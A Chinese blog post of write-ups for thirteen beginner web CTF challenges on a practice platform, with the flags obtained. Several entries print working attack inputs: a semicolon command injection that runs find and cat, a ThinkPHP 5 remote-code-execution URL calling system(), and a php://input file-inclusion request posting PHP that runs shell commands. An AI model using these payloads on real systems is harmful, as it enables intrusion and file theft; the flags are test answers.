攻防世界CTF-CTF题目:WEB类

第一题:robots

题目描述:X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。

1、打开场景发现是一个登录界面,为一个空白页面,查看页面源码,源码中有注释源码“flag is not here”

2、提示信息有Robots协议,于是访问“http://61.147.171.105:55526/robots.php”,里面揭示了一些其他文件,其中存在"Disallow : f1ag_1s_h3re.php"

3、访问“http://61.147.171.105:55526/f1ag_1s_h3re.php”,发现flag

cyberpeace{02acaebae17d95a4683134ef74d471f5}

第二题:backup

题目描述:X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

1、打开场景提示“你知道index.php的备份文件名吗?”

2、经过查询了解,PHP项目两种备份方式。如果存在备份文件,有“*.php~和*.php.bak”两种。

3、一次尝试“http://61.147.171.105:57393/index.php.bak”和“http://61.147.171.105:57393/index.php~”

4、在第一个链接访问到了文件,浏览器自动下载,打开文件获得flag

Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}

第三题:cookie

题目描述:X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’。

1、打开场景页面呈现空白页,通过题目描述,涉及到cookie

2、F12并重新刷新页面,请求头部呈现信息“Cookie: look-here=cookie.php”

3、访问这个文件“http://61.147.171.105:51050/cookie.php”,在respone的请求头中发现flag

cyberpeace{63d29d056abc5c059ef9a1a26aef11e3}

第四题:disabled_button

题目描述:X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

1、打开场景页面存在一个不可点击的“Button”按钮

2、F12检查那个Button元素,并发现有个“disable”的属性,去掉disable属性并点击button

cyberpeace{6c9e4c594a33cab39cf0dcbf7f329205}

第五题:get_post

题目描述:X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?

1、打开场景发现提示“请用GET方式提交一个名为a,值为1的变量”

2、通过GET方式发起请求“http://61.147.171.105:64425/?a=1”,页面有给出提示“请用GET方式提交一个名为a,值为1的变量;请再以POST方式随便提交一个名为b,值为2的变量”

3、使用火狐浏览器的F12,重发POST请求,在请求头中添加“Content-Type: application/x-www-form-urlencoded”,添加参数“b=2”,释放请求,页面中出现flag

cyberpeace{24c5e91ee3acfe32d6e15c4697d4a4dd}

第六题:weak_auth

 

题目描述:小宁写了一个登陆验证页面,随手就设了一个密码。

1、打开发现是一个登录界面,使用任意账号登录,输入密码“123456”,提示”请使用admin登录“

2、输入用户名admin,密码123456。登录成功,发现flag

cyberpeace{0f8d9c7cf952964bd9b4a1b4d0893265}

第七题:simple_php

题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。
1、打开发现是一段关于php的逻辑,如下:
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?> 

2、根据源码有两个参数a和b,通过GET的方式获取。a要求等于0且为真,b不能是数字,且必须大于1234

3、根据查询可以得到PHP绕过"is_numeric($b)"的方法,“is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后”,构造GET请求

http://61.147.171.105:51428/?a='0'&b=1235%20
http://61.147.171.105:51428/?a='0'&b=1235%00

4、通过上述两个构造可以得到两个flag,组合起来获取到flag

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

第八题:command_execution

题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
1、打开存在一个输入框,输入任意值ddd,页面下方回显出执行的指令“ping -c 3 ddd

2、初步猜测是可以通过执行多个命令来获取flag。经查询有三种方式可以执行,即使用“&&”、“||”、“;”三种方式链接指令。其中“&&”必须是前一个指令执行成功才继续后面的指令,而“||”必须是前一个指令执行失败才继续,最后“;”是无论前一个指令成功或失败都继续执行下一个指令,因此我们选择最后一个方式“;”来执行多个命令

3、执行指令“target=dad%3Bfind+%2F+-name++flag*” 表示在根目录查询flag开头的文件,页面回显出若干符合的文件

4、优先查看“/home/flag.txt”,即执行指令“target=dad%3Bcat+%2Fhome%2Fflag.txt”,页面回显出来文件内容,发现flag

cyberpeace{8cdd72a83fc2b1168aa048cf1ba4c4c3}

第九题:xff_referer

题目描述:X老师告诉小宁其实xff和referer是可以伪造的。
1、打开发现有提示信息“ip地址必须为123.123.123.123”,立即联想到请求头“X-Forwarded-For: 123.123.123.123”表示请求源;Referer也是请求头部分
2、构造请求,在请求头中添加“X-Forwarded-For: 123.123.123.123”,"Referer: http://123.123.123.123/"并释放,检查页面,没有flag出现
3、检查新页面的源码发现信息“必须来自https://www.google.com”,修改"Referer: https://www.google.com",并再次释放,发现flag
4、注意:这里需用bp、fiddler。使用火狐F12重放请求是不成功的。
cyberpeace{e593e4eb808209cd8771435ffd650db5}

第十题:view_source

题目描述:X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。
1、打开场景发现页面仅有文字提示“FLAG is not here”
2、根据题目描述需要查看页面源码,但是鼠标邮件不可用
3、使用两种方式:F12检查元素和view-source:url可以检查页面源码
4、这儿使用view-source:http://61.147.171.105:58946/ 查看页面源码成功,发现flag
cyberpeace{4c464d3022739486e3e4bb702d756e77}

第十一题:simple_js

题目描述:小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )
1、打开发现需要登录,检查页面源码发现Script源码
function dechiffre(pass_enc){
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
                var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = j + (l) + (n=0);
                        n = tab2.length;
                        for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                                if(i == 5)break;}
                        for(i = (o=0); i < (k = j = n); i++ ){
                        o = tab[i-l];
                                if(i > 5 && i < k-1)
                                        p += String.fromCharCode((o = tab2[i]));
                        }
        p += String.fromCharCode(tab2[17]);
        pass = p;return pass;
    }
    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

    h = window.prompt('Enter password');
    alert( dechiffre(h) );

2、输入任何密码都会返回一样的内容“FAUX PASSWORD HAHA”;源码中“String.fromCharCode()”返回由指定的 UTF-16 代码单元序列创建的字符串,经过检查发现源码中pass变量经过String.fromCharCode(70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65)计算后得到“FAUX PASSWORD HAHA”

3、源码中有两次执行"dechiffre()"方法,第二次执行的参数是十六进制编码后的字符串,将十六进制的字符串“\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30”通过浏览器的console模块,使用alert()函数打印出来获取到字符串“55,56,54,79,115,69,114,116,107,49,50”

4、再次通过String.fromCharCode(55,56,54,79,115,69,114,116,107,49,50)运算,得到另一串字符串“786OsErtk12”,看起来就是flag,组装后发现确实是flag

Cyberpeace{786OsErtk12}

第十二题:php_rce

题目描述:暂无
1、打开发现页面提示“ThinkPHP V5”,根据百度搜集到一个相关的漏洞“程序未对控制器进行过滤,导致攻击者可以用 \(斜杠)调用任意类方法。”,并提供了对应的poc,可以执行任意命令,下图命令执行结果,展示了所在目录的存在的目录信息“bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var”
http://61.147.171.105:50716/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
2、发现有flag,执行cd指令并检查信息,经过检查发现flag是一个文件,执行指令得到flag
http://61.147.171.105:50716/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cd /; cat flag
flag{thinkphp5_rce}

第十三题:Web_php_include

题目描述:暂无
1、打开发现页面提示有源码提示
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>
2、根据源码解读“strstr()“表示“查找 "Shanghai" 在 "I love Shanghai!" 中的第一次出现,并返回字符串的剩余部分:Shanghai!”;“str_replace()”可以通过大小写【双写绕过,失败】绕过“str_replace("php://", "", $page),【?page=pphp://hp://将第一个php://替换成空”。】?page=PHP://绕过
3、查询“php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。” 伪协议参考
4、查询“php://input”协议,使用POST发送,<?php system("ls") ?>,使用火狐浏览器的HackerBar发送请求无响应。改用fiddler
POST http://61.147.171.105:49549/?page=PHP://input HTTP/1.1
Host: 61.147.171.105:49549
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 25

<?php system("ls") ?>
HTTP/1.1 200 OK
Date: Mon, 24 Jul 2023 02:50:33 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3
Vary: Accept-Encoding
Content-Length: 1554
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br />show_source</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />echo </span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'hello'</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">$page</span><span style="color: #007700">=</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'page'</span><span style="color: #007700">];<br />while (</span><span style="color: #0000BB">strstr</span><span style="color: #007700">(</span><span style="color: #0000BB">$page</span><span style="color: #007700">, </span><span style="color: #DD0000">"php://"</span><span style="color: #007700">)) {<br />    </span><span style="color: #0000BB">$page</span><span style="color: #007700">=</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"php://"</span><span style="color: #007700">, </span><span style="color: #DD0000">""</span><span style="color: #007700">, </span><span style="color: #0000BB">$page</span><span style="color: #007700">);<br />}<br />include(</span><span style="color: #0000BB">$page</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">?><br /></span>
</span>
</code>fl4gisisish3r3.php
index.php
phpinfo.php
POST http://61.147.171.105:49549/?page=PHP://input HTTP/1.1
Host: 61.147.171.105:49549
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 46

<?php system("cat fl4gisisish3r3.php") ?>
HTTP/1.1 200 OK
Date: Mon, 24 Jul 2023 02:54:48 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3
Vary: Accept-Encoding
Content-Length: 1573
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br />show_source</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />echo </span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'hello'</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">$page</span><span style="color: #007700">=</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'page'</span><span style="color: #007700">];<br />while (</span><span style="color: #0000BB">strstr</span><span style="color: #007700">(</span><span style="color: #0000BB">$page</span><span style="color: #007700">, </span><span style="color: #DD0000">"php://"</span><span style="color: #007700">)) {<br />    </span><span style="color: #0000BB">$page</span><span style="color: #007700">=</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"php://"</span><span style="color: #007700">, </span><span style="color: #DD0000">""</span><span style="color: #007700">, </span><span style="color: #0000BB">$page</span><span style="color: #007700">);<br />}<br />include(</span><span style="color: #0000BB">$page</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">?><br /></span>
</span>
</code><?php
$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";
?>
5、获取到flag
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

6、




posted @ 2023-07-14 16:45  阆南山水天下稀  阅读(1179)  评论(0)    收藏  举报